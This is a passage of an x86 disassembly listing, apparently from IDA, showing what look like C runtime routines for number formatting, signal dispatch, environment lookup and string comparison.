loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DBC2C mov eax, offset dword_4DBC2C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DBC28 mov eax, offset dword_4DBC28 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DBC30 mov eax, offset dword_4DBC30 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DBC24 mov eax, offset dword_4DBC24 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DBA00 and dword_4DBA00, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43CFFC mov dword_43CFFC, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43CFF0 mov ecx, dword_43CFF4 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43CF80h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43CFFC push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DBA00, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43CFFC, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43CFF8 cmp dword_43CF7C, edx push esi mov eax, offset dword_43CF78 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43CF78h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43CF78h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DCFD0, 0 push ebx push esi mov esi, dword_4DB950 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB958, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB950 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DCD80 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DCC80[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB928, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB928, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D478 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43D5D8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DCD84 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DCFA4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB958 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DBC38, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25F0000h test eax, eax jz short loc_425F53 mov dword_4DBC38, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CB4DC push eax push edi push eax push ebx push ebx call near ptr 25F0681h nop test eax, eax jz loc_42616C mov dword_4DBC38, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DBC38 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0681h jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB9F4 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28D0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] call near ptr 2840000h nop mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2840000h test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F0000h jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB950 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB954 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB950, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB958, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB950, eax jz short loc_42620F mov [eax], edi cmp dword_4DB958, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB958, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB950 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE XREF: sub_4261AB+BDj ; sub_4261AB+C2j test ebx, ebx jnz short loc_42632B test esi, esi jge short loc_4262B7 neg esi loc_4262B7: ; CODE XREF: sub_4261AB+108j lea eax, ds:8[esi*4] push eax push edi call sub_41B202 pop ecx test eax, eax pop ecx jz loc_42620F mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4262DA: ; CODE XREF: sub_4261AB+F8j mov dword_4DB950, eax loc_4262DF: ; CODE XREF: sub_4261AB+F6j ; sub_4261AB+100j cmp 